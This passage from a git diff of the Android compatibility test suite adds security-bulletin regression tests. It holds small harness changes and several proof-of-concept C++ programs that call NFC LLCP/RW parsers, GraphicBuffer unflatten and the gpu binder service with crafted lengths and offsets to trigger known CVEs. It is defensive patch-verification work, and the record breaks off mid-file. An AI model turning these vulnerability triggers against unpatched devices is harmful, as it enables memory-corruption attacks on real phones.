--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -58,6 +58,7 @@
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -275,6 +276,7 @@
      * redacted mode.
      **/
     @Test
+    @Ignore("Enable when b/194700183 is fixed")
     public void testSharedRedactedUri_openFileForRead() throws Exception {
         forceStopApp(APP_B_NO_PERMS.getPackageName());
         final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 4124125..11be8cb 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -59,11 +59,11 @@
 
     @Before
     public void setUp() throws Exception {
-        // Assumes every test in this file asserts a requirement of CDD section 9.
-        assumeSecurityModelCompat();
         mDevice = getDevice();
         mBuild = getBuild();
         configSet = getDeviceConfig(mDevice, cachedConfigGzSet);
+        // Assumes every test in this file asserts a requirement of CDD section 9.
+        assumeSecurityModelCompat();
     }
 
     /*
@@ -406,7 +406,11 @@
     }
 
     private void assumeSecurityModelCompat() throws Exception {
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        }
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
index f399d7b..20afc7d 100644
--- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
+++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
@@ -61,7 +61,11 @@
     }
 
     private void assumeSecurityModelCompat() throws Exception {
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        }
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
index 8db2be3..6122e09 100644
--- a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
+++ b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
@@ -42,6 +42,7 @@
     private static final String PERF_EVENT_LSM_SYSPROP = "sys.init.perf_lsm_hooks";
 
     private static final int ANDROID_R_API_LEVEL = 30;
+    private static final int ANDROID_S_API_LEVEL = 31;
 
     @Before
     public void setUp() throws Exception {
@@ -86,7 +87,11 @@
     }
 
     private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel(mDevice) >= ANDROID_S_API_LEVEL) {
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        }
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
index e670426..c6ea1b8 100644
--- a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
@@ -136,6 +136,7 @@
     }
 
     public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
-        assertSeccompFilter("media.codec", PS_CMD, false);
+        // 64bit only devices don't have 32bit only media.codec (omx)
+        assertSeccompFilter("media.codec", PS_CMD, false, false /* mustHaveProcess */);
     }
 }
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 4b8287f..7fc8431 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -155,11 +155,11 @@
 
     @Before
     public void setUp() throws Exception {
+        mDevice = getDevice();
+        mBuild = getBuild();
         // Assumes every test in this file asserts a requirement of CDD section 9.
         assumeSecurityModelCompat();
 
-        mDevice = getDevice();
-        mBuild = getBuild();
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
         sepolicyAnalyze = copyResourceToTempFile("/sepolicy-analyze");
         sepolicyAnalyze.setExecutable(true);
@@ -187,8 +187,12 @@
     }
 
     private void assumeSecurityModelCompat() throws Exception {
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+        }
     }
 
     /*
diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS
index 28ce2a5..5e566ca 100644
--- a/hostsidetests/securitybulletin/OWNERS
+++ b/hostsidetests/securitybulletin/OWNERS
@@ -1,5 +1,5 @@
 # Bug component: 36824
-mspector@google.com
-manjaepark@google.com
+musashi@google.com
 cdombroski@google.com
 lgallegos@google.com
+hubers@google.com
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi
new file mode 100644
index 0000000..18edf22
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi
new file mode 100644
index 0000000..12c77ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi
new file mode 100644
index 0000000..bc685eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi
new file mode 100644
index 0000000..9491607
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
similarity index 71%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
index 7b410b7..ae94370 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
@@ -15,8 +15,21 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9547",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
new file mode 100644
index 0000000..7ec82f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ui/GraphicBuffer.h>
+#include "../includes/memutils.h"
+
+int main() {
+    size_t size = sizeof(int) * 6;
+    int *tempBuffer = (int *)malloc(size);
+    if (!tempBuffer) {
+        return EXIT_FAILURE;
+    }
+    memset(tempBuffer, 0x0, size);
+    tempBuffer[0] = 'GB01';
+    void const *buffer = const_cast<void const *>((void *)tempBuffer);
+    int const fds[] = {0, 0};
+    size_t count = sizeof(fds) / sizeof(int);
+    int const *fd = const_cast<int const *>(fds);
+    android::GraphicBuffer *graphicBuffer = new android::GraphicBuffer();
+    graphicBuffer->unflatten(buffer, size, fd, count);
+    free(tempBuffer);
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
similarity index 60%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
index 7b410b7..0faa893 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
@@ -15,8 +15,27 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2018-9564",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
new file mode 100644
index 0000000..f853475
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/poc.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_api.h>
+
+#define DEFAULT_VALUE 0x02
+#define SIZE 16
+#define LENGTH 1
+
+extern bool llcp_util_parse_link_params(uint16_t length, uint8_t* p_bytes);
+
+int main() {
+  const int32_t offset = SIZE - LENGTH;
+  uint8_t* p_bytes = (uint8_t *)malloc(SIZE);
+  if (!p_bytes) {
+    return EXIT_FAILURE;
+  }
+  memset(p_bytes, DEFAULT_VALUE, SIZE);
+
+  llcp_util_parse_link_params(LENGTH, &p_bytes[offset]);
+
+  free(p_bytes);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
new file mode 100644
index 0000000..fe69d22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2018-9593",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
new file mode 100644
index 0000000..25b2fb6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/poc.cpp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include "llcp_int.h"
+
+#define SIZE 16
+#define LENGTH 1
+
+extern tLLCP_CB llcp_cb;
+void llcp_init(void);
+
+int main() {
+  GKI_init();
+  llcp_init();
+  uint8_t *p_i_pdu = (uint8_t *)malloc(SIZE);
+  if (!p_i_pdu) {
+    return EXIT_FAILURE;
+  }
+
+  llcp_cb.dlcb[0].state = LLCP_DLC_STATE_CONNECTED;
+  llcp_dlc_proc_i_pdu(llcp_cb.dlcb[0].local_sap, llcp_cb.dlcb[0].remote_sap, LENGTH,
+                      &p_i_pdu[SIZE - LENGTH], nullptr);
+
+  free(p_i_pdu);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
new file mode 100644
index 0000000..3e02143
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2018-9594",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
new file mode 100644
index 0000000..4a5b163
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/poc.cpp
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <llcp_int.h>
+#include <nfc_int.h>
+
+extern tLLCP_CB llcp_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+void llcp_init(void);
+
+int main() {
+  GKI_init();
+  rw_init();
+  llcp_init();
+
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    return EXIT_FAILURE;
+  }
+  p_data->data.p_data = (NFC_HDR *)malloc(16400 * sizeof(uint8_t));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    return EXIT_FAILURE;
+  }
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  if (!(nfc_cb.quick_timer_queue.p_first)) {
+    free(p_data);
+    free(p_data->data.p_data);
+    return EXIT_FAILURE;
+  }
+
+  uint8_t conn_id = 1;
+  llcp_cb.lcb.agreed_major_version = LLCP_MIN_SNL_MAJOR_VERSION;
+  llcp_cb.lcb.agreed_minor_version = LLCP_MIN_SNL_MINOR_VERSION;
+  llcp_cb.lcb.link_state = LLCP_LINK_STATE_ACTIVATED;
+  // Set llcp_cb.lcb.local_link_miu greater than p_msg->len
+  llcp_cb.lcb.local_link_miu = 16400;
+  llcp_cb.lcb.received_first_packet = true;
+  llcp_cb.lcb.symm_state = LLCP_LINK_SYMM_REMOTE_XMIT_NEXT;
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+  NFC_HDR *p_msg = (NFC_HDR *)(p_data->data.p_data);
+  // p_msg->len is calculated based on the total PDUs in AGF PDU
+  p_msg->len = 16395;
+  p_msg->offset = 0;
+  uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  // First 2 bytes are set to values so that call flow goes from llcp_link_proc_rx_data
+  // to llcp_link_proc_rx_pdu and then to llcp_link_proc_agf_pdu.
+  *p = 0x00;
+  *(p + 1) = 0x80;
+  // The following are trying to emulate PDUs in AGF PDU
+  *(p + 2) = 0x00;
+  *(p + 3) = 0x02;
+  *(p + 4) = 0x02;
+  *(p + 5) = 0x40;
+  *(p + 6) = 0x00;
+  *(p + 7) = 0x01;
+  *(p + 8) = 0x02;
+  *(p + 9) = 0x40;
+  *(p + 10) = 0x00;
+  *(p + 11) = 0x02;
+  *(p + 12) = 0x40;
+
+  llcp_link_connection_cback(conn_id, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp
new file mode 100644
index 0000000..2901a02
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2178",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+        "libchrome",
+        "libbase",
+        "liblog",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp
new file mode 100644
index 0000000..dc057b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/poc.cpp
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#include <log/log.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_t4t_select(void);
+void GKI_freebuf(void* x) { (void)x; }
+
+// borrowed from rw_t4t.cc
+/* main state */
+#define RW_T4T_STATE_READ_NDEF 0x03
+/* sub state */
+#define RW_T4T_SUBSTATE_WAIT_READ_RESP 0x05
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+    (void)event;
+    (void)p_rw_data;
+}
+
+int main() {
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    if (rw_cb.p_cback != &poc_cback) {
+        ALOGE("Structure tRW_CB mismatch rw_cb.p_cback=%p poc_cback=%p\n", rw_cb.p_cback,
+              poc_cback);
+        return EXIT_FAILURE;
+    }
+    tRW_T4T_CB* p_t4t = &rw_cb.tcb.t4t;
+    GKI_init();
+    rw_init();
+
+    if ((rw_t4t_select()) != NFC_STATUS_OK) {
+        return EXIT_FAILURE;
+    }
+
+    tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+    if (!p_data) {
+        return EXIT_FAILURE;
+    }
+    p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
+    if (!(p_data->data.p_data)) {
+        free(p_data);
+        return EXIT_FAILURE;
+    }
+    p_data->status = NFC_STATUS_OK;
+
+    p_t4t->state = RW_T4T_STATE_READ_NDEF;
+    p_t4t->sub_state = RW_T4T_SUBSTATE_WAIT_READ_RESP;
+
+    NFC_HDR* p_r_apdu = (NFC_HDR*)p_data->data.p_data;
+    p_r_apdu->offset = 8;
+    p_r_apdu->len = 1;
+
+    tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+
+    p_cb->p_cback(0, event, p_data);
+
+    free(p_data->data.p_data);
+    free(p_data);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp
index 65407dd..dad32cd 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/Android.bp
@@ -28,6 +28,7 @@
     compile_multilib: "64",
     shared_libs: [
         "libnfc-nci",
+        "liblog",
     ],
     include_dirs: [
         "system/nfc/src/nfc/include",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp
index 048c6c7..24f5561 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0072/poc.cpp
@@ -15,6 +15,7 @@
  */
 
 #include "../includes/common.h"
+#include <log/log.h>
 #include <stdlib.h>
 
 #include <nfc_api.h>
@@ -32,6 +33,15 @@
 }
 
 int main() {
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  if (rw_cb.p_cback != &poc_cback) {
+    ALOGE("Structure tRW_CB mismatch rw_cb.p_cback=%p poc_cback=%p\n",
+          rw_cb.p_cback, poc_cback);
+    return EXIT_FAILURE;
+  }
   tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
   rw_init();
   rw_cb.p_cback = &poc_cback;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
similarity index 74%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
index 7b410b7..085fc4c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
@@ -15,8 +15,20 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2020-0420",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+        "libmedia",
+        "liblog",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp
new file mode 100644
index 0000000..426c6d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <stdio.h>
+
+using namespace android;
+
+int main(void) {
+  status_t err;
+  sp<IServiceManager> sm = defaultServiceManager();
+  String16 name(String16("gpu"));
+  sp<IBinder> service = sm->checkService(name);
+  String16 interface_name = service->getInterfaceDescriptor();
+
+  Parcel data, reply;
+  std::string UpdatableDriverPath("CVE-2020-0420");
+  data.writeInterfaceToken(interface_name);
+  data.writeUtf8AsUtf16(UpdatableDriverPath);
+  err = service->transact(3 /*SET_UPDATABLE_DRIVER_PATH,*/, data, &reply, 0);
+  if (err != OK) {
+    return EXIT_FAILURE;
+  }
+
+  Parcel data1, reply1;
+  data1.writeInterfaceToken(interface_name);
+  err = service->transact(4 /*GET_UPDATABLE_DRIVER_PATH,*/, data1, &reply1, 0);
+  if (err != OK) {
+    return EXIT_FAILURE;
+  }
+  std::string driverPath;
+  err = reply1.readUtf8FromUtf16(&driverPath);
+  if (err != OK) {
+    return EXIT_FAILURE;
+  }
+
+  /** If the driver path returned is same as that was set, then there is no
+   * check in the API and the vulnerability is present.
+   */
+  if (0 == strcmp(driverPath.c_str(), UpdatableDriverPath.c_str())) {
